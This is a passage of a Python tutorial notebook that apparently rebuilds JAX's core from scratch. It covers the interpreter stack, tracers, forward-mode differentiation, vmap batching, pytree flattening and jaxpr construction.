handy internal convention: when we # call `bind`, we pass values representing array data as positional arguments, # and we pass metadata like the `axis` argument to `sum_p` via keyword. This # calling convention simplifies some core logic (since e.g. instances of the # `Tracer` class to be defined below can only occur in positional arguments to # `bind`). The wrappers can also provide docstrings! # # We represent active interpreters as a stack. The stack is just a simple # `list`, and each element is a container with an integer level (corresponding # to the element's height in the stack), an interpreter type (which we'll call a # `trace_type`), and an optional field for any global data the interpreter # needs. We call each element a `MainTrace`, though maybe "Interpreter" would be # more descriptive. # + from contextlib import contextmanager from typing import Type, List, Optional, Any class MainTrace(NamedTuple): level: int trace_type: Type['Trace'] global_data: Optional[Any] trace_stack: List[MainTrace] = [] dynamic_trace: Optional[MainTrace] = None # to be employed in Part 3 @contextmanager def new_main(trace_type: Type['Trace'], global_data=None): level = len(trace_stack) main = MainTrace(level, trace_type, global_data) trace_stack.append(main) try: yield main finally: trace_stack.pop() # - # When we're about to apply a transformation, we'll push another interpreter # onto the stack using `new_main`. Then, as we apply primitives in the function, # we can think of the `bind` first being interpreted by the trace at the top of # the stack (i.e. with the highest level). If that first interpreter itself # binds other primitives in its interpretation rule for the primitive, like how # the JVP rule of `sin_p` might bind `cos_p` and `mul_p`, then those `bind` # calls will be handled by the interpreter at the next level down. # # What goes at the bottom of the interpreter stack? At the bottom, we know all # the transformation interpreters are finished, and we just want to do standard # evaluation. So at the bottom we'll put an evaluation interpreter. # # Let's sketch out the interface for interpreters, which is based on the `Trace` # and `Tracer` base classes. A `Tracer` represents a boxed-up value, perhaps # carrying some extra context data used by the interpreter. A `Trace` handles # boxing up values into `Tracers` and also handles primitive application. class Trace: main: MainTrace def __init__(self, main: MainTrace) -> None: self.main = main def pure(self, val): assert False # must override def lift(self, val): assert False # must override def process_primitive(self, primitive, tracers, params): assert False # must override # The first two methods are about boxing up values in `Tracer`s, which are the # objects that flow through the Python programs we transform. The last method is # the callback we'll use to interpret primitive application. # # The `Trace` itself doesn't contain any data, other than a reference to its # corresponding `MainTrace` instance. In fact, multiple instances of a `Trace` # might be created and discarded during an application of a transformation, # whereas only a single `MainTrace` instance is created per application of a # transformation. # # As for `Tracer`s themselves, each one carries an abstract value (and forwards # infix operators to it), and the rest is up to the transformation. (The # relationship between `Tracer`s and `AbstractValue`s is that there's one # `Tracer` per transformation, and at least one `AbstractValue` per base type, # like arrays.) # + import numpy as np from typing import Tuple class Tracer: _trace: Trace __array_priority__ = 1000 @property def aval(self): assert False # must override def full_lower(self): return self # default implementation def __neg__(self): return self.aval._neg(self) def __add__(self, other): return self.aval._add(self, other) def __radd__(self, other): return self.aval._radd(self, other) def __mul__(self, other): return self.aval._mul(self, other) def __rmul__(self, other): return self.aval._rmul(self, other) def __gt__(self, other): return self.aval._gt(self, other) def __bool__(self): return self.aval._bool(self) def __nonzero__(self): return self.aval._nonzero(self) def __getattr__(self, name): try: return getattr(self.aval, name) except AttributeError: raise AttributeError(f"{self.__class__.__name__} has no attribute {name}") def swap(f): return lambda x, y: f(y, x) # + class ShapedArray: array_abstraction_level = 1 shape: Tuple[int] dtype: np.dtype def __init__(self, shape, dtype): self.shape = shape self.dtype = dtype @property def ndim(self): return len(self.shape) _neg = staticmethod(neg) _add = staticmethod(add) _radd = staticmethod(swap(add)) _mul = staticmethod(mul) _rmul = staticmethod(swap(mul)) _gt = staticmethod(greater) @staticmethod def _bool(tracer): raise Exception("ShapedArray can't be unambiguously converted to bool") @staticmethod def _nonzero(tracer): raise Exception("ShapedArray can't be unambiguously converted to bool") def str_short(self): return f'{self.dtype.name}[{",".join(str(d) for d in self.shape)}]' def __hash__(self): return hash((self.shape, self.dtype)) def __eq__(self, other): return (type(self) is type(other) and self.shape == other.shape and self.dtype == other.dtype) def __repr__(self): return f"ShapedArray(shape={self.shape}, dtype={self.dtype})" class ConcreteArray(ShapedArray): array_abstraction_level = 2 val: np.ndarray def __init__(self, val): self.val = val self.shape = val.shape self.dtype = val.dtype @staticmethod def _bool(tracer): return bool(tracer.aval.val) @staticmethod def _nonzero(tracer): return bool(tracer.aval.val) def get_aval(x): if isinstance(x, Tracer): return x.aval elif type(x) in jax_types: return ConcreteArray(np.asarray(x)) else: raise TypeError(x) jax_types = {bool, int, float, np.bool_, np.int32, np.int64, np.float32, np.float64, np.ndarray} # - # Notice that we actually have two `AbstractValue`s for arrays, representing # different levels of abstraction. A `ShapedArray` represents the set of all # possible arrays with a given shape and dtype. A `ConcreteArray` represents a # singleton set consisting of a single array value. # # Now that we've set up the interpreter stack, the Trace/Tracer API for # interpreters, and abstract values, we can come back to implement `bind`: def bind(prim, *args, **params): top_trace = find_top_trace(args) tracers = [full_raise(top_trace, arg) for arg in args] outs = top_trace.process_primitive(prim, tracers, params) return [full_lower(out) for out in outs] # The main action is that we call `find_top_trace` to figure out which # interpreter should handle this primitive application. We then call that top # trace's `process_primitive` so that the trace can apply its interpretation # rule. The calls to `full_raise` just ensure that the inputs are boxed in the # top trace's `Tracer` instances, and the call to `full_lower` is an optional # optimization so that we unbox values out of `Tracer`s as much as possible. # + import operator as op def find_top_trace(xs) -> Trace: top_main = max((x._trace.main for x in xs if isinstance(x, Tracer)), default=trace_stack[0], key=op.attrgetter('level')) if dynamic_trace and dynamic_trace.level > top_main.level: top_main = dynamic_trace return top_main.trace_type(top_main) # - # In words, ignoring the `dynamic_trace` step until Part 3, `find_top_trace` # returns the highest-level interpreter associated with the `Tracer`s on its # inputs, and otherwise returns the interpreter at the bottom of the stack # (which is always an evaluation trace, at least for now). This is a deviation # from the description above, where we always start by running the interpreter # at the top of the stack and then work our way down, applying every interpreter # in the stack. Instead, we're only applying an interpreter when the input # arguments to a primitive bind are boxed in a `Tracer` corresponding to that # interpreter. This optimization lets us skip irrelevant transformations, but # bakes in an assumption that transformations mostly follow data dependence # (except for the special bottom-of-the-stack interpreter, which interprets # everything). # # An alternative would be to have every interpreter in the stack interpret every # operation. That's worth exploring! JAX is designed around data dependence in # large part because that's so natural for automatic differentiation, and JAX's # roots are in autodiff. But it may be over-fit. # + def full_lower(val: Any): if isinstance(val, Tracer): return val.full_lower() else: return val def full_raise(trace: Trace, val: Any) -> Tracer: if not isinstance(val, Tracer): assert type(val) in jax_types return trace.pure(val) level = trace.main.level if val._trace.main is trace.main: return val elif val._trace.main.level < level: return trace.lift(val) elif val._trace.main.level > level: raise Exception(f"Can't lift level {val._trace.main.level} to {level}.") else: # val._trace.level == level raise Exception(f"Different traces at same level: {val._trace}, {trace}.") # - # The logic in `full_raise` serves to box values into `Tracer`s for a particular # `Trace`, calling different methods on the `Trace` based on context: # `Trace.pure` is called on non-`Tracer` constants, and `Trace.lift` is called # for values that are already `Tracer`s from a lower-level interpreter. These # two methods could share the same implementation, but by distinguishing them in # the core logic we can provide more information to the `Trace` subclass. # # That's it for the JAX core! Now we can start adding interpreters. # ### Evaluation interpreter # # We'll start with the simplest interpreter: the evaluation interpreter that # will sit at the bottom of the interpreter stack. # + class EvalTrace(Trace): pure = lift = lambda self, x: x # no boxing in Tracers needed def process_primitive(self, primitive, tracers, params): return impl_rules[primitive](*tracers, **params) trace_stack.append(MainTrace(0, EvalTrace, None)) # special bottom of the stack # NB: in JAX, instead of a dict we attach impl rules to the Primitive instance impl_rules = {} impl_rules[add_p] = lambda x, y: [np.add(x, y)] impl_rules[mul_p] = lambda x, y: [np.multiply(x, y)] impl_rules[neg_p] = lambda x: [np.negative(x)] impl_rules[sin_p] = lambda x: [np.sin(x)] impl_rules[cos_p] = lambda x: [np.cos(x)] impl_rules[reduce_sum_p] = lambda x, *, axis: [np.sum(x, axis)] impl_rules[greater_p] = lambda x, y: [np.greater(x, y)] impl_rules[transpose_p] = lambda x, *, perm: [np.transpose(x, perm)] def broadcast_impl(x, *, shape, axes): for axis in sorted(axes): x = np.expand_dims(x, axis) return [np.broadcast_to(x, shape)] impl_rules[broadcast_p] = broadcast_impl # - # With this interpreter, we can evaluate user functions: # + def f(x): y = sin(x) * 2. z = - y + x return z print(f(3.0)) # - # Woo! Like going around in a big circle. But the point of this indirection is # that now we can add some real transformations. # ### Forward-mode autodiff with `jvp` # # First, a few helper functions: # + def zeros_like(val): return np.zeros_like(val) def unzip2(pairs): lst1, lst2 = [], [] for x1, x2 in pairs: lst1.append(x1) lst2.append(x2) return lst1, lst2 map_ = map def map(f, *xs): return list(map_(f, *xs)) # - # The `Tracer` for forward-mode autodiff carries a primal-tangent pair. The # `Trace` applies JVP rules. # + class JVPTracer(Tracer): def __init__(self, trace, primal, tangent): self._trace = trace self.primal = primal self.tangent = tangent @property def aval(self): return get_aval(self.primal) class JVPTrace(Trace): pure = lift = lambda self, val: JVPTracer(self, val, zeros_like(val)) def process_primitive(self, primitive, tracers, params): primals_in, tangents_in = unzip2((t.primal, t.tangent) for t in tracers) jvp_rule = jvp_rules[primitive] primal_outs, tangent_outs = jvp_rule(primals_in, tangents_in, **params) return [JVPTracer(self, x, t) for x, t in zip(primal_outs, tangent_outs)] jvp_rules = {} # - # Notice both `lift` and `sublift` package a value into a `JVPTracer` with the # minimal amount of context, which is a zero tangent value. # # Let's add some JVP rules for primitives: # + def add_jvp(primals, tangents): (x, y), (x_dot, y_dot) = primals, tangents return [x + y], [x_dot + y_dot] jvp_rules[add_p] = add_jvp def mul_jvp(primals, tangents): (x, y), (x_dot, y_dot) = primals, tangents return [x * y], [x_dot * y + x * y_dot] jvp_rules[mul_p] = mul_jvp def sin_jvp(primals, tangents): (x,), (x_dot,) = primals, tangents return [sin(x)], [cos(x) * x_dot] jvp_rules[sin_p] = sin_jvp def cos_jvp(primals, tangents): (x,), (x_dot,) = primals, tangents return [cos(x)], [-sin(x) * x_dot] jvp_rules[cos_p] = cos_jvp def neg_jvp(primals, tangents): (x,), (x_dot,) = primals, tangents return [neg(x)], [neg(x_dot)] jvp_rules[neg_p] = neg_jvp def reduce_sum_jvp(primals, tangents, *, axis): (x,), (x_dot,) = primals, tangents return [reduce_sum(x, axis)], [reduce_sum(x_dot, axis)] jvp_rules[reduce_sum_p] = reduce_sum_jvp def greater_jvp(primals, tangents): (x, y), _ = primals, tangents out_primal = greater(x, y) return [out_primal], [zeros_like(out_primal)] jvp_rules[greater_p] = greater_jvp # - # Finally, we add a transformation API to kick off the trace: def jvp_v1(f, primals, tangents): with new_main(JVPTrace) as main: trace = JVPTrace(main) tracers_in = [JVPTracer(trace, x, t) for x, t in zip(primals, tangents)] out = f(*tracers_in) tracer_out = full_raise(trace, out) primal_out, tangent_out = tracer_out.primal, tracer_out.tangent return primal_out, tangent_out # And with that, we can differentiate! x = 3.0 y, sin_deriv_at_3 = jvp_v1(sin, (x,), (1.0,)) print(sin_deriv_at_3) print(cos(3.0)) # + def f(x): y = sin(x) * 2. z = - y + x return z x, xdot = 3., 1. y, ydot = jvp_v1(f, (x,), (xdot,)) print(y) print(ydot) # + def deriv(f): return lambda x: jvp_v1(f, (x,), (1.,))[1] print(deriv(sin)(3.)) print(deriv(deriv(sin))(3.)) print(deriv(deriv(deriv(sin)))(3.)) print(deriv(deriv(deriv(deriv(sin))))(3.)) # + def f(x): if x > 0.: # Python control flow return 2. * x else: return x print(deriv(f)(3.)) print(deriv(f)(-3.)) # - # ## Pytrees and flattening user functions' inputs and outputs # A limitation with `jvp_v1` is that it assumes the user function accepts arrays # as positional arguments and produces a single array as output. What if it # produced a list as output? Or accepted nested containers as inputs? It would # be a pain to deal with all the possible containers in inputs and outputs at # every layer of the stack. Instead, we can wrap the user function so that the # wrapped version accepts arrays as inputs and returns a flat list of arrays as # output. The wrapper just needs to unflatten its input, call the user function, # and flatten the output. # # Here's how we'd like to write `jvp`, assuming the user always gives us # functions that take arrays as inputs and produces a flat list of arrays as # outputs: def jvp_flat(f, primals, tangents): with new_main(JVPTrace) as main: trace = JVPTrace(main) tracers_in = [JVPTracer(trace, x, t) for x, t in zip(primals, tangents)] outs = f(*tracers_in) tracers_out = [full_raise(trace, out) for out in outs] primals_out, tangents_out = unzip2((t.primal, t.tangent) for t in tracers_out) return primals_out, tangents_out # To support user functions that have arbitrary containers in the inputs and # outputs, here's how we'd write the user-facing `jvp` wrapper: def jvp(f, primals, tangents): primals_flat, in_tree = tree_flatten(primals) tangents_flat, in_tree2 = tree_flatten(tangents) if in_tree != in_tree2: raise TypeError f, out_tree = flatten_fun(f, in_tree) primals_out_flat, tangents_out_flat = jvp_flat(f, primals_flat, tangents_flat) primals_out = tree_unflatten(out_tree(), primals_out_flat) tangents_out = tree_unflatten(out_tree(), tangents_out_flat) return primals_out, tangents_out # Notice that we had to plumb the tree structure of the user function output # back to the caller of `flatten_fun`. That information isn't available until we # actually run the user function, so `flatten_fun` just returns a reference to a # mutable cell, represented as a thunk. These side-effects are safe because we # always run the user function exactly once. (This safe regime is the reason for # the "linear" name in `linear_util.py`, in the sense of [linear # types](https://en.wikipedia.org/wiki/Substructural_type_system).) # # All that remains is to write `tree_flatten`, `tree_unflatten`, and # `flatten_fun`. # + tags=["hide-input"] def flatten_fun(f, in_tree): store = Store() def flat_fun(*args_flat): pytree_args = tree_unflatten(in_tree, args_flat) out = f(*pytree_args) out_flat, out_tree = tree_flatten(out) store.set_value(out_tree) return out_flat return flat_fun, store class Empty: pass empty = Empty() class Store: val = empty def set_value(self, val): assert self.val is empty self.val = val def __call__(self): return self.val # + tags=["hide-input"] import itertools as it from typing import Callable, Type, Hashable, Dict, Iterable, Iterator class NodeType(NamedTuple): name: str to_iterable: Callable from_iterable: Callable def register_pytree_node(ty: Type, to_iter: Callable, from_iter: Callable ) -> None: node_types[ty] = NodeType(str(ty), to_iter, from_iter) node_types: Dict[Type, NodeType] = {} register_pytree_node(tuple, lambda t: (None, t), lambda _, xs: tuple(xs)) register_pytree_node(list, lambda l: (None, l), lambda _, xs: list(xs)) register_pytree_node(dict, lambda d: map(tuple, unzip2(sorted(d.items()))), lambda keys, vals: dict(zip(keys, vals))) class PyTreeDef(NamedTuple): node_type: NodeType node_metadata: Hashable child_treedefs: Tuple['PyTreeDef'] class Leaf: pass leaf = Leaf() def tree_flatten(x: Any) -> Tuple[List[Any], PyTreeDef]: children_iter, treedef = _tree_flatten(x) return list(children_iter), treedef def _tree_flatten(x: Any) -> Tuple[Iterable, PyTreeDef]: node_type = node_types.get(type(x)) if node_type: node_metadata, children = node_type.to_iterable(x) children_flat, child_trees = unzip2(map(_tree_flatten, children)) flattened = it.chain.from_iterable(children_flat) return flattened, PyTreeDef(node_type, node_metadata, tuple(child_trees)) else: return [x], leaf def tree_unflatten(treedef: PyTreeDef, xs: List[Any]) -> Any: return _tree_unflatten(treedef, iter(xs)) def _tree_unflatten(treedef: PyTreeDef, xs: Iterator) -> Any: if treedef is leaf: return next(xs) else: children = (_tree_unflatten(t, xs) for t in treedef.child_treedefs) return treedef.node_type.from_iterable(treedef.node_metadata, children) # - # With this pytree-handling `jvp` implementation, we can now handle arbitrary # input and output containers. That'll come in handy with future transformations # too! # + def f(x): y = sin(x) * 2. z = - y + x return {'hi': z, 'there': [x, y]} x, xdot = 3., 1. y, ydot = jvp(f, (x,), (xdot,)) print(y) print(ydot) # - # ### Vectorized batching with `vmap` # # First, a couple helper functions, one for producing mapped abstract values # from unmapped ones (by removing an axis), and one for moving batch dimensions # around: # + def mapped_aval(batch_dim, aval): shape = list(aval.shape) del shape[batch_dim] return ShapedArray(tuple(shape), aval.dtype) def move_batch_axis(axis_size, src, dst, x): if src is not_mapped: target_shape = list(np.shape(x)) target_shape.insert(dst, axis_size) return broadcast(x, target_shape, [dst]) elif src == dst: return x else: return moveaxis(x, src, dst) def moveaxis(x, src: int, dst: int): perm = [i for i in range(np.ndim(x)) if i != src] perm.insert(dst, src) return transpose(x, perm) # - # The `Tracer` for vectorized batching carries a batched value and an optional # integer indicating which axis (if any) is the batch axis. # + from typing import Union class NotMapped: pass not_mapped = NotMapped() BatchAxis = Union[NotMapped, int] class BatchTracer(Tracer): def __init__(self, trace, val, batch_dim: BatchAxis): self._trace = trace self.val = val self.batch_dim = batch_dim @property def aval(self): if self.batch_dim is not_mapped: return get_aval(self.val) else: return mapped_aval(self.batch_dim, get_aval(self.val)) def full_lower(self): if self.batch_dim is not_mapped: return full_lower(self.val) else: return self class BatchTrace(Trace): pure = lift = lambda self, val: BatchTracer(self, val, not_mapped) def process_primitive(self, primitive, tracers, params): vals_in, bdims_in = unzip2((t.val, t.batch_dim) for t in tracers) vmap_rule = vmap_rules[primitive] val_outs, bdim_outs = vmap_rule(self.axis_size, vals_in, bdims_in, **params) return [BatchTracer(self, x, bd) for x, bd in zip(val_outs, bdim_outs)] @property def axis_size(self): return self.main.global_data vmap_rules = {} # - # Here we've implemented the optional `Tracer.full_lower` method, which lets us # peel off a batching tracer if it's not needed because it doesn't represent a # batched value. # # For `BatchTrace`, analogous to `JVPTrace`, the methods `pure` and `lift` just # box a value in a `BatchTracer` with the minimal amount of context, which in # this case is a `batch_dim` taking the sentinel value `not_mapped`. Notice we # use the `MainTrace`'s interpreter-global data field to store the batch axis # size. # # Next we can define batching interpreter rules for each primitive: # + from functools import partial def broadcasting_binop_batching_rule(op, axis_size, vals_in, dims_in): (x, y), (x_bdim, y_bdim) = vals_in, dims_in if x_bdim != y_bdim: if x_bdim is not_mapped: x = move_batch_axis(axis_size, x_bdim, y_bdim, x) else: y = move_batch_axis(axis_size, y_bdim, x_bdim, y) return [op(x, y)], [x_bdim] vmap_rules[add_p] = partial(broadcasting_binop_batching_rule, add) vmap_rules[mul_p] = partial(broadcasting_binop_batching_rule, mul) def vectorized_unop_batching_rule(op, axis_size, vals_in, dims_in): (x,), (x_bdim,) = vals_in, dims_in return [op(x)], [x_bdim] vmap_rules[sin_p] = partial(vectorized_unop_batching_rule, sin) vmap_rules[cos_p] = partial(vectorized_unop_batching_rule, cos) vmap_rules[neg_p] = partial(vectorized_unop_batching_rule, neg) def reduce_sum_batching_rule(axis_size, vals_in, dims_in, *, axis): (x,), (x_bdim,) = vals_in, dims_in new_axis = axis + (x_bdim <= axis) out_bdim = x_bdim - (new_axis < x_bdim) return [reduce_sum(x, new_axis)], [out_bdim] vmap_rules[reduce_sum_p] = reduce_sum_batching_rule # - # Finally, we add a transformation API to kick off the trace: # + def vmap_flat(f, in_axes, *args): axis_size, = {x.shape[ax] for x, ax in zip(args, in_axes) if ax is not not_mapped} with new_main(BatchTrace, axis_size) as main: trace = BatchTrace(main) tracers_in = [BatchTracer(trace, x, ax) if ax is not None else x for x, ax in zip(args, in_axes)] outs = f(*tracers_in) tracers_out = [full_raise(trace, out) for out in outs] vals_out, bdims_out = unzip2((t.val, t.batch_dim) for t in tracers_out) outs_transposed = [move_batch_axis(axis_size, bdim, 0, val_out) for val_out, bdim in zip(vals_out, bdims_out)] return outs_transposed def vmap(f, in_axes): def batched_f(*args): args_flat, in_tree = tree_flatten(args) in_axes_flat, in_tree2 = tree_flatten(in_axes) if in_tree != in_tree2: raise TypeError f_flat, out_tree = flatten_fun(f, in_tree) outs_flat = vmap_flat(f_flat, in_axes_flat, *args_flat) return tree_unflatten(out_tree(), outs_flat) return batched_f # + def add_one_to_a_scalar(scalar): assert np.ndim(scalar) == 0 return 1 + scalar vector_in = np.arange(3.) vector_out = vmap(add_one_to_a_scalar, (0,))(vector_in) print(vector_in) print(vector_out) # + def jacfwd(f, x): pushfwd = lambda v: jvp(f, (x,), (v,))[1] vecs_in = np.eye(np.size(x)).reshape(np.shape(x) * 2) return vmap(pushfwd, (0,))(vecs_in) def f(x): return sin(x) jacfwd(f, np.arange(3.)) # - # That's it for `jvp` and `vmap`! # ## Part 2: Jaxprs # # The next transformations are the horizon are `jit` for just-in-time # compilation and `vjp` for reverse-mode autodiff. (`grad` is just a small # wrapper around `vjp`.) Whereas `jvp` and `vmap` only needed each `Tracer` to # carry a little bit of extra context, for both `jit` and `vjp` we need much # richer context: we need to represent _programs_. That is, we need jaxprs! # # Jaxprs are JAX's internal intermediate representation of programs. They are # explicitly typed, functional, first-order, and in ANF form. We need a # program representation for `jit` because the purpose of `jit` is to stage # computation out of Python. For any computation we want to stage out, we need # to be able to represent it as data, and build it up as we trace a Python # function. Similarly, `vjp` needs a way to represent the computation for the # backward pass of reverse-mode autodiff. We use the same jaxpr program # representation for both needs. # # (Building a program representation is the most # [free](https://en.wikipedia.org/wiki/Free_object) kind of # trace-transformation, and so except for issues around handling native Python # control flow, any transformation could be implemented by first tracing to a # jaxpr and then interpreting the jaxpr.) # ### Jaxpr data strutures # # The jaxpr term syntax is roughly: # # ``` # jaxpr ::= # { lambda <binder> , ... . # let <eqn> # ... # in ( <atom> , ... ) } # # binder ::= <var>:<array_type> # var ::= a | b | c | ... # atom ::= <var> | <literal> # literal ::= <int32> | <int64> | <float32> | <float64> # # eqn ::= <binder> , ... = <primitive> [ <params> ] <atom> , ... # ``` # # The syntax of types is: # # ``` # jaxpr_type ::= [ <array_type> , ... ] -> [ <array_type> , ... ] # array_type ::= <dtype>[<shape>] # dtype ::= f32 | f64 | i32 | i64 # shape ::= <int> , ... # ``` # # How do we represent these as Python data structures? We reuse ShapedArrays to # represent types, and we can represent the term syntax with a few Python # structs: # + from typing import Set class Var: aval: ShapedArray def __init__(self, aval): self.aval = aval class Lit: val: Any aval: ShapedArray def __init__(self, val): self.val = val self.aval = raise_to_shaped(get_aval(self.val)) Atom = Union[Var, Lit] class JaxprEqn(NamedTuple): primitive: Primitive inputs: List[Atom] params: Dict[str, Any] out_binders: List[Var] class Jaxpr(NamedTuple): in_binders: List[Var] eqns: List[JaxprEqn] outs: List[Atom] def __hash__(self): return id(self) __eq__ = op.is_ def raise_to_shaped(aval): return ShapedArray(aval.shape, aval.dtype) # - # Type-checking a jaxpr involves checking that there are no unbound variables, # that variables are only bound once, and that for each equation the type of # the primitive application matches the type of the output binders. # + class JaxprType(NamedTuple): in_types: List[ShapedArray] out_types: List[ShapedArray] def __repr__(self): in_types = ', '.join(aval.str_short() for aval in self.in_types) out_types = ', '.join(aval.str_short() for aval in self.out_types) return f'({in_types}) -> ({out_types})' def typecheck_jaxpr(jaxpr: Jaxpr) -> JaxprType: env: Set[Var] = set() for v in jaxpr.in_binders: if v in env: raise TypeError env.add(v) for eqn in jaxpr.eqns: in_types = [typecheck_atom(env, x) for x in eqn.inputs] out_types = abstract_eval_rules[eqn.primitive](*in_types, **eqn.params) for out_binder, out_type in zip(eqn.out_binders, out_types): if not out_type == out_binder.aval: raise TypeError for out_binder in eqn.out_binders: if out_binder in env: raise TypeError env.add(out_binder) in_types = [v.aval for v in jaxpr.in_binders] out_types = [typecheck_atom(env, x) for x in jaxpr.outs] return JaxprType(in_types, out_types) def typecheck_atom(env: Set[Var], x: Atom) -> ShapedArray: if isinstance(x, Var): if x not in env: raise TypeError("unbound variable") return x.aval elif isinstance(x, Lit): return raise_to_shaped(get_aval(x.val)) else: assert False # - # We can apply the function represented by a jaxpr to arguments with a simple # interpreter. # + def eval_jaxpr(jaxpr: Jaxpr, args: List[Any]) -> List[Any]: env: Dict[Var, Any] = {} def read(x: Atom) -> Any: return env[x] if type(x) is Var else x.val def write(v: Var, val: Any) -> None: assert v not in env # single-assignment env[v] = val map(write, jaxpr.in_binders, args) for eqn in jaxpr.eqns: in_vals = map(read, eqn.inputs) outs = bind(eqn.primitive, *in_vals, **eqn.params) map(write, eqn.out_binders, outs) return map(read, jaxpr.outs) def jaxpr_as_fun(jaxpr: Jaxpr): return lambda *args: eval_jaxpr(jaxpr, args) # - # By using `bind` in the interpreter, this interpreter itself is traceable. # ### Building jaxprs with tracing # # Now that we have jaxprs as a data structure, we need ways to produce these # from tracing Python code. In general there are two variants of how we trace to # a jaxpr; `jit` uses one and `vjp` uses the other. We'll start with the one # used by `jit`, which is also used by control flow primitives like `lax.cond`, # `lax.while_loop`, and `lax.scan`. # + # NB: the analogous class in JAX is called 'DynamicJaxprTracer' class JaxprTracer(Tracer): __slots__ = ['aval'] aval: ShapedArray def __init__(self, trace, aval): self._trace = trace self.aval = aval # NB: the analogous class in JAX is called 'DynamicJaxprTrace' class JaxprTrace(Trace): def new_arg(self, aval: ShapedArray) -> JaxprTracer: aval = raise_to_shaped(aval) tracer = self.builder.new_tracer(self, aval) self.builder.tracer_to_var[id(tracer)] = Var(aval) return tracer def get_or_make_const_tracer(self, val: Any) -> JaxprTracer: tracer = self.builder.const_tracers.get(id(val)) if tracer is None: tracer = self.builder.new_tracer(self, raise_to_shaped(get_aval(val))) self.builder.add_const(tracer, val) return tracer pure = lift = get_or_make_const_tracer def process_primitive(self, primitive, tracers, params): avals_in = [t.aval for t in tracers] avals_out = abstract_eval_rules[primitive](*avals_in, **params) out_tracers = [self.builder.new_tracer(self, a) for a in avals_out] inputs = [self.builder.getvar(t) for t in tracers] outvars = [self.builder.add_var(t) for t in out_tracers] self.builder.add_eqn(JaxprEqn(primitive, inputs, params, outvars)) return out_tracers @property def builder(self): return self.main.global_data # NB: in JAX, we instead attach abstract eval rules to Primitive instances abstract_eval_rules = {} # - # Notice that we keep as interpreter-global data a builder object, which keeps # track of variables, constants, and eqns as we build up the jaxpr. class JaxprBuilder: eqns: List[JaxprEqn] tracer_to_var: Dict[int, Var] const_tracers: Dict[int, JaxprTracer] constvals: Dict[Var, Any] tracers: List[JaxprTracer] def __init__(self): self.eqns = [] self.tracer_to_var = {} self.const_tracers = {} self.constvals = {} self.tracers = [] def new_tracer(self, trace: JaxprTrace, aval: ShapedArray) -> JaxprTracer: tracer = JaxprTracer(trace, aval) self.tracers.append(tracer) return tracer def add_eqn(self, eqn: JaxprEqn) -> None: self.eqns.append(eqn) def add_var(self, tracer: JaxprTracer) -> Var: assert id(tracer) not in self.tracer_to_var var = self.tracer_to_var[id(tracer)] = Var(tracer.aval) return var def getvar(self, tracer: JaxprTracer) -> Var: var = self.tracer_to_var.get(id(tracer)) assert var is not None return var def add_const(self, tracer: JaxprTracer, val: Any) -> Var: var = self.add_var(tracer) self.const_tracers[id(val)] = tracer self.constvals[var] = val return var def build(self, in_tracers: List[JaxprTracer], out_tracers: List[JaxprTracer] ) -> Tuple[Jaxpr, List[Any]]: constvars, constvals = unzip2(self.constvals.items()) t2v = lambda t: self.tracer_to_var[id(t)] in_binders = constvars + [t2v(t) for t in in_tracers] out_vars = [t2v(t) for t in out_tracers] jaxpr = Jaxpr(in_binders, self.eqns, out_vars) typecheck_jaxpr(jaxpr) return jaxpr, constvals # The rules we need for `JaxprTrace.process_primitive` are essentially typing # rules for primitive applications: given the primitive, its parameters, and # types for the inputs, the rule must produce a type for the output, which is # then packaged with the output `JaxprTracer`. We can use abstract evaluation # rules for this same purpose, even though they can be more general (since # abstract evaluation rules must accept ConcreteArray inputs, and since they # need only return an upper bound on the set of possible outputs, they can # produce ConcreteArray outputs as well). We'll reuse these abstract evaluation # rules for the other jaxpr-producing trace machinery, where the potential extra # generality is useful. # + def broadcast_shapes(*shapes): assert len(shapes) > 1 for sizes in zip(*shapes): sizes = [d for d in sizes if d != 1] if sizes[:-1] != sizes[1:]: raise Exception return tuple(next((d for d in sizes if d != 1), 1) for sizes in zip(*shapes)) def broadcasting_binop_abstract_eval_rule(*avals_in): out_dtype = np.result_type(*map(np.result_type, avals_in)) out_shape = broadcast_shapes(*map(np.shape, avals_in)) return [ShapedArray(out_shape, out_dtype)] abstract_eval_rules[add_p] = broadcasting_binop_abstract_eval_rule abstract_eval_rules[mul_p] = broadcasting_binop_abstract_eval_rule def vectorized_unop_abstract_eval_rule(aval_in): return [ShapedArray(np.shape(aval_in), np.result_type(aval_in))] abstract_eval_rules[sin_p] = vectorized_unop_abstract_eval_rule abstract_eval_rules[cos_p] = vectorized_unop_abstract_eval_rule abstract_eval_rules[neg_p] = vectorized_unop_abstract_eval_rule def reduce_sum_abstract_eval_rule(aval_in, *, axis): new_shape = [d for i, d in enumerate(aval_in.shape) if i != axis] return [ShapedArray(tuple(new_shape), aval_in.dtype)] abstract_eval_rules[reduce_sum_p] = reduce_sum_abstract_eval_rule def broadcast_abstract_eval(x, *, shape, axes): return [ShapedArray(tuple(shape), np.result_type(x))] abstract_eval_rules[broadcast_p] = broadcast_abstract_eval # - # To check our implementation of jaxprs, we can add a `make_jaxpr` # transformation and a pretty-printer: # + from functools import lru_cache @lru_cache() # ShapedArrays are hashable def make_jaxpr_v1(f, *avals_in): avals_in, in_tree = tree_flatten(avals_in) f, out_tree = flatten_fun(f, in_tree) builder = JaxprBuilder() with new_main(JaxprTrace, builder) as main: trace = JaxprTrace(main) tracers_in = [trace.new_arg(aval) for aval in avals_in] outs = f(*tracers_in) tracers_out = [full_raise(trace, out) for out in outs] jaxpr, consts = builder.build(tracers_in, tracers_out) return jaxpr, consts, out_tree() # + tags=["hide-input"] from collections import defaultdict import string class PPrint: lines: List[Tuple[int, str]] def __init__(self, lines): self.lines = lines def indent(self, indent: int) -> 'PPrint': return PPrint([(indent + orig_indent, s) for orig_indent, s in self.lines]) def __add__(self, rhs: 'PPrint') -> 'PPrint': return PPrint(self.lines + rhs.lines) def __rshift__(self, rhs: 'PPrint') -> 'PPrint': if not rhs.lines: return self if not self.lines: return rhs indent, s = self.lines[-1] indented_block = rhs.indent(indent + len(s)) common_line = s + ' ' * rhs.lines[0][0] + rhs.lines[0][1] return PPrint(self.lines[:-1] + [(indent, common_line)] + indented_block.lines[1:]) def __str__(self) -> str: return '\n'.join(' ' * indent + s for indent, s in self.lines) def pp(s: Any) -> PPrint: return PPrint([(0, line) for line in str(s).splitlines()]) def vcat(ps: List[PPrint]) -> PPrint: return sum(ps, pp('')) def pp_jaxpr(jaxpr: Jaxpr): namegen = (''.join(s) for r in it.count(1) for s in it.permutations(string.ascii_lowercase, r)) names = defaultdict(lambda: next(namegen)) in_binders = ', '.join(var_str(names, x) for x in jaxpr.in_binders) eqns = vcat([pp_eqn(names, e) 